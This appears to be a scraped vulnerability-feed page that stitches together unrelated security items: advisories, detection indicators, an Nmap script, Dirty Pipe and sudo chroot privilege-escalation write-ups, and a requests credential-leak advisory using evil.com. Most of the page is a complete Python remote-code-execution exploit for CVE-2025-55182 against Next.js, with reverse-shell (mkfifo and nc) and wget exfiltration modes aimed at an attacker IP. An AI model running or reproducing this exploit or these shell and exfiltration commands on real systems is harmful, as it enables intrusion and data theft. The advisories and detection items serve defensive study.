Recent comments
Log in or create an account to share your comment.
telnetd: Enable autologin in legacy mode.
Without authentication, autologin was broken. Bug reported by Kuaikuai Wu to the list in `2014-12/msg00010.html'.
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Full Remote Code Execution against Next.js applications
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)
The vulnerability exploits prototype pollution in the Flight protocol
deserialization to achieve arbitrary code execution.
Credit:
- Wiz for vuln discovery
- @maple3142 for first working poc
- @dez_ for this vibe poc
"""
import requests
import argparse
import sys
import time
class CVE2025_55182_RCE:
"""Full RCE exploit for CVE-2025-55182"""
def __init__(self, target_url: str, timeout: int = 15):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
def build_payload(self, command: str) -> dict:
"""
Build the RCE payload that exploits prototype pollution.
The payload creates a fake React chunk object that:
1. Pollutes Object.prototype.then via "$1:__proto__:then"
2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
3. Injects code via _prefix that gets passed to Function()
"""
# Escape single quotes in command
escaped_cmd = command.replace("'", "'\"'\"'")
# The malicious fake chunk structure
payload_0 = (
'{"then":"$1:__proto__:then",'
'"status":"resolved_model",'
'"reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}",'
'"_response":{'
'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",'
'"_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}'
'}}'
)
return {
'0': (None, payload_0),
'1': (None, '"$@0"'), # Reference to chunk 0
'2': (None, '[]'), # Empty array for chunks
}
def execute(self, command: str) -> dict:
"""
Execute arbitrary command on the target server.
Args:
command: Shell command to execute
Returns:
dict with success status and any output
"""
print(f"[*] Target: {self.target_url}")
print(f"[*] Command: {command}")
headers = {
'Accept': 'text/x-component',
'Next-Action': 'x', # Invalid action ID triggers vulnerable path
'User-Agent': 'CVE-2025-55182-Exploit/1.0',
}
files = self.build_payload(command)
result = {
'success': False,
'command': command,
'target': self.target_url,
}
try:
print(f"[*] Sending exploit payload...")
resp = self.session.post(
self.target_url,
headers=headers,
files=files,
timeout=self.timeout
)
result['status_code'] = resp.status_code
result['response'] = resp.text[:500]
# A 500 response often indicates the exploit worked
# (the command runs but the response fails to serialize)
if resp.status_code == 500:
print(f"[+] Exploit sent successfully (status 500)")
result['success'] = True
else:
print(f"[?] Unexpected status: {resp.status_code}")
except requests.exceptions.Timeout:
# Timeout is expected - the server hangs processing the payload
print(f"[+] Request timed out (expected during RCE)")
result['success'] = True
result['timeout'] = True
except Exception as e:
print(f"[-] Error: {e}")
result['error'] = str(e)
return result
def check_vulnerability(self) -> bool:
"""Quick check if target is vulnerable"""
print(f"[*] Checking if {self.target_url} is vulnerable...")
headers = {
'Accept': 'text/x-component',
'Next-Action': 'x',
}
# Simple detection payload
files = {
'0': (None, '["$1:a:a"]'),
'1': (None, '{}'),
}
try:
resp = self.session.post(
self.target_url,
headers=headers,
files=files,
timeout=10
)
if resp.status_code == 500 and 'E{"digest"' in resp.text:
print(f"[+] Target appears VULNERABLE!")
return True
else:
print(f"[-] Target may not be vulnerable (status {resp.status_code})")
return False
except Exception as e:
print(f"[-] Check failed: {e}")
return False
def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict:
"""
Attempt to establish a reverse shell.
Args:
attacker_ip: IP address to connect back to
attacker_port: Port to connect back to
"""
# mkfifo reverse shell - works on Alpine/busybox containers
revshell = (
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f"
)
print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}")
print(f"[!] Start listener: nc -lvnp {attacker_port}")
return self.execute(revshell)
def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict:
"""
Execute command and send output to attacker via HTTP POST.
Args:
command: Command to execute
attacker_ip: IP address to send output to
attacker_port: Port to send output to
Start a listener with: nc -lvnp PORT
Output will arrive as HTTP POST body.
"""
# Using wget to POST command output back
exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null'
print(f"\n[!] Executing: {command}")
print(f"[!] Output will POST to {attacker_ip}:{attacker_port}")
print(f"[!] Start listener: nc -lvnp {attacker_port}")
return self.execute(exfil_cmd)
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-55182 React Server Components RCE Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Check if vulnerable
python3 exploit_rce.py http://target:3000 --check
# Execute command (blind)
python3 exploit_rce.py http://target:3000 -c "id"
# Execute command with output exfiltration
python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444
# Reverse shell (uses mkfifo + nc, works on Alpine)
python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444
'''
)
parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')
parser.add_argument('-c', '--command', help='Command to execute (blind)')
parser.add_argument('--check', action='store_true', help='Check if vulnerable')
parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'),
help='Reverse shell to IP:PORT')
parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
help='Execute CMD and POST output to IP:PORT')
parser.add_argument('-t', '--timeout', type=int, default=15,
help='Request timeout (default: 15)')
args = parser.parse_args()
if not any([args.check, args.command, args.revshell, args.exfil]):
parser.print_help()
print("\n[!] Specify --check, --command, --revshell, or --exfil")
return 1
exploit = CVE2025_55182_RCE(args.target, args.timeout)
print("=" * 60)
print("CVE-2025-55182 - React Server Components RCE")
print("=" * 60)
if args.check:
return 0 if exploit.check_vulnerability() else 1
if args.command:
result = exploit.execute(args.command)
return 0 if result.get('success') else 1
if args.revshell:
ip, port = args.revshell
result = exploit.reverse_shell(ip, int(port))
return 0 if result.get('success') else 1
if args.exfil:
cmd, ip, port = args.exfil
result = exploit.exfiltrate(cmd, ip, int(port))
return 0 if result.get('success') else 1
return 0
if __name__ == '__main__':
sys.exit(main())
Some cases have been detected in Luxembourg.
Check SoftwareDistribution.log for:
- SoapUtilities.CreateException ThrowException: actor = https://host:8531/ClientWebService/client.asmx -> Error thrown in SoftwareDistribution.log after exploitation
- AAEAAAD/////AQAAAAAAAAAEAQAAAH9 -> Part of the serialized payload, found in SoftwareDistribution.log
- 207.180.254[.]242 – VPS from which the exploit was sent
- ac7351b617f85863905ba8a30e46a112a9083f4d388fd708ccfe6ed33b5cf91d – SHA256 hash of embedded MZ payload
Command injection vulnerability in FTP-Flask-python. The project seems no more maintained. Last update the April 28, 2017.
Nmap script to detect a Microsoft SharePoint instance version.
Usage:
$ nmap -p 443 --script ms-sharepoint-version.nse example.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-21 17:33 CEST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.030s latency).
PORT STATE SERVICE
443/tcp open https
| ms-sharepoint-version:
| 16.0.10376:
| product: SharePoint Server 2019 SharePoint Server 2019 MUI/language patch
| build: 16.0.10376
|_ release_date: July 2021
Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
More information: https://github.com/righel/ms-sharepoint-version-nse
Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task.
CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD:
- From 5.8 up to (but not including) 5.10.102
- From 5.15 up to (but not including) 5.15.25
- From 5.16 up to (but not including) 5.16.11
The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for.
DISCLAIMER
This code is for educational and research purposes only.
Do not use it on systems you do not own or have permission to test.
The author is not responsible for any misuse, damage, or legal consequences resulting from the use of this code.
sudo chroot PrivEsc PoC (CVE-2025-32463)
This is an implementation of the sudo chroot vulnerability (CVE-2025-32463) exploit I wrote in Rust based on sudo's advisory and the Stratascale advisory. The exploit allows you to run arbitray code in the form of a shared library due to a bug in how sudo handles chroot.
When passing the chroot option to sudo, you can provide a malicious /etc/nsswitch.conf file within the chroot directory that tells sudo to load an arbitrary shared object. This PoC abuses this in order to grant root access to an unprivileged user.
Usage
Default PrivEsc Payload
Using the provided binaries under Releases, simply run the following to gain root:
./sudo_chroot_exploit
This uses a shared library payload which simply spawns a root shell.
Custom payloads
The payload code (C) is provided under /payload. There is also a Makefile provided for building the code. You can modify or replace the payload as you see fit.
To specify a different payload than the default, you can run the following command:
/sudo_chroot_exploit -i custom_payload.so
Nuclei template to detect CVE-2025-49113 (Roundcube / Webmail)
2025-06-04T13:19:58+0000 by Cédric BonhommeThis template looks at the HTML body for the rcversion value and then matches on vulnerable versions. Here is a mapping of the RAW HTML value and version mapping for Roundcube:
- 10502 1.5.2
- 10601 1.6.1
- 10506 1.5.6
- 10500 1.5.0
- 10609 1.6.9
- 10611 1.6.11
- 10510 1.5.10
- 10505 1.5.5
- 10503 1.5.3
- 10610 1.6.10
- 10509 1.5.9
- 10607 1.6.7
- 10602 1.6.2
- 10606 1.6.6
- 10605 1.6.5
The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.
Issuing the following API call triggers the vulnerability:
requests.get('http://example.com:@evil.com/')
Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245
The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.
As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.